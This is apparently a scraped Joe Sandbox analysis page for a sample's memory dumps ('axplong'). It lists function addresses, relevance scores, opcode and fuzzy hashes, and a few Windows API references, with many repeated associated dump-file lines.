Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d52da5b618708c2a227d1f91d25db06a3c382e403783635ae60dc535ac2ddd1d
Instruction ID: d904cc77a647a9678f69d1687c010707708134bee9d11634edfe57a65f3b5164
Opcode Fuzzy Hash: d52da5b618708c2a227d1f91d25db06a3c382e403783635ae60dc535ac2ddd1d
Instruction Fuzzy Hash: 83C24CB1E046288FDBA5CE28DD407E9B3B9FB48315F1541EAD94DE7280E775AE818F40

Function 00802BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 8467f7e7bcc37468ebe85cb7cafb983c159ee59cb18552e1519e08a3565060c9
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 49F16F71E012199FDF14CFA8C8846AEB7B5FF88314F15826AE819E7385D770AE41CB90

Function 007DCB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,007DCE82,?,?,?,?,007DCEB7,?,?,?,?,?,?,007DC42D,?,00000001), ref: 007DCB33

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: f1bb50dc7ede70978bd130a11efb341ad4bb28f72a1446fb86a1776aaebdefd1
Instruction ID: bbfafc794ab9564b65d6644b6a2c8751c777e51f353d9f142f392503ca915ced
Opcode Fuzzy Hash: f1bb50dc7ede70978bd130a11efb341ad4bb28f72a1446fb86a1776aaebdefd1
Instruction Fuzzy Hash: 92D0223254703C93CA132B90AC048ACBB2CAF00B203008113ED0423620CAB1AC418FD1

Function 007F7D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 007F7EFF

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: f7c3aaed8325f77c59724e1dce1607479e6a0596e8d178c79c5a47be0b9a2ec4
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 5E51667030C64C9ADB3C9A3C88DA7BE6B9A9F51300F98045EE782DB782CA5D9D45C352

Function 007C4CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50448f8cab3890074de6d082b2392fa3f5c86270e20922a730ac5bce62a36504
Instruction ID: a2db81a9c32446fec14a845b64537a02ade2c56cb67c09e2f754dd898b0765d6
Opcode Fuzzy Hash: 50448f8cab3890074de6d082b2392fa3f5c86270e20922a730ac5bce62a36504
Instruction Fuzzy Hash: 63223DB3F515144BDB4CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158644

Function 00806F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5474cf2710e3db57e8f07806be12ade375ca5bdce922cdad7d82a1833ca0fb
Instruction ID: f59c781f125e78d6bb8f38e46fdd5f53761d2c0d3ca7b754dee3615e6c0edf22
Opcode Fuzzy Hash: ff5474cf2710e3db57e8f07806be12ade375ca5bdce922cdad7d82a1833ca0fb
Instruction Fuzzy Hash: 1DB19C31A14609DFD754CF28C886B657BE0FF45364F258658E899CF2E1C336E992CB40

Function 007C4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42bf4ba538bb53f8541961707dc311e62163f90f351cb4a5afe9b1d444659ef6
Instruction ID: 434b495957a5239a511d01dea7e027968965780e98b808943bee913e81bc7a62
Opcode Fuzzy Hash: 42bf4ba538bb53f8541961707dc311e62163f90f351cb4a5afe9b1d444659ef6
Instruction Fuzzy Hash: 1551B3B16087918FC319CF29812567AFBE5BFD5300F084A9EE4D687292DB74DA44CBA1

Function 0080777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b17615c1760405ca502022f5b90a044221af097a84eb85a6bd63ceef338f489
Instruction ID: 067c7c8ba6010641482007d1b63e43dbc0ae80de595fac6d12b8d7bfee2e486b
Opcode Fuzzy Hash: 3b17615c1760405ca502022f5b90a044221af097a84eb85a6bd63ceef338f489
Instruction Fuzzy Hash: 5021B673F204394B770CC47E8C5727DB6E1D68C541745823AE8A6EA2C1D968D917E2E4

Function 0080765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bcbda447aab980fabfdfeb7aa8bfe73efa745fa73a8f6efa2c2696da5d74325
Instruction ID: da4183666ac4a579b60c796bff8fe65fd3565cfbc3d4ba314027a0f7ae7f0cca
Opcode Fuzzy Hash: 9bcbda447aab980fabfdfeb7aa8bfe73efa745fa73a8f6efa2c2696da5d74325
Instruction Fuzzy Hash: 4E117723F30C255A675C816D8C1727AA5D2EBD825071F533AD827E72C4E9A4DE23D290

Function 00808720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 5d103824c95129227532443f593564a36e56c231e2d8fe47c126b8757131e4ef
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C411087B301141C7D694862DCDF46B6A796FAC5321B3C437AD0C1CB7ECDA2299C5D900

Function 007F645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed34da236acb468c39c0b44e342dc3e4d8177af2d45c04a70750633eba93bf6
Instruction ID: 9e6da7507a6ac6d09cd9be8afb82f2d8986669fd80d47dce3089b001a3acca4e
Opcode Fuzzy Hash: fed34da236acb468c39c0b44e342dc3e4d8177af2d45c04a70750633eba93bf6
Instruction Fuzzy Hash: 40E0863014254CAACF257B24D905EAC3B29FB51745F008410F90446322CB79ED82C990

Function 007FA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 29be8355986ae6c6c9912e5f62ac064ae29ea8d890a3bdd4df72dd455d7f0e09
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 1EE0467291122CFBCB25DB88C94899AF2BCEB48B00F164096B605D3240C274EF00C7D2

Function 007F4770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007F47A7
___except_validate_context_record.LIBVCRUNTIME ref: 007F47AF
_ValidateLocalCookies.LIBCMT ref: 007F4838
__IsNonwritableInCurrentImage.LIBCMT ref: 007F4863
_ValidateLocalCookies.LIBCMT ref: 007F48B8

Strings

csm, xrefs: 007F484D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c30e1e73548a7cee4ea49aba2b67d6d607552ceacc30428c09203493374040f5
Instruction ID: cdbe879f317cee48bcf719bf97cb202deca2e5d4fc9073bc853cb5793e5402cc
Opcode Fuzzy Hash: c30e1e73548a7cee4ea49aba2b67d6d607552ceacc30428c09203493374040f5
Instruction Fuzzy Hash: 7151D130A0024CEBCF10DF68C884ABF7BB5BF45364F148155EA149B392D73AEA55CB90

Function 007F70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007F710B

Strings

.exe, xrefs: 007F7118
.com, xrefs: 007F714B
.bat, xrefs: 007F713A
.cmd, xrefs: 007F7129

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 68203434acdcbc7d700153e7a37cc0e07014e2d67908c2bd33b4fe4fb1f8193f
Instruction ID: 29474f227d123af2c9d4d37548d9566ac8eeb63e50e850daa8ef0042c6fadcfa
Opcode Fuzzy Hash: 68203434acdcbc7d700153e7a37cc0e07014e2d67908c2bd33b4fe4fb1f8193f
Instruction Fuzzy Hash: 6601A52760861E66561C645D9C0267B579CAFC2BB4715002AFB54E73C2DF8CEC52C1A1

Function 007C2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007C2F1F
__Mtx_unlock.LIBCPMT ref: 007C2F8C
__Cnd_broadcast.LIBCPMT ref: 007C2FA3
__Mtx_unlock.LIBCPMT ref: 007C30B5
__Mtx_unlock.LIBCPMT ref: 007C315B

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
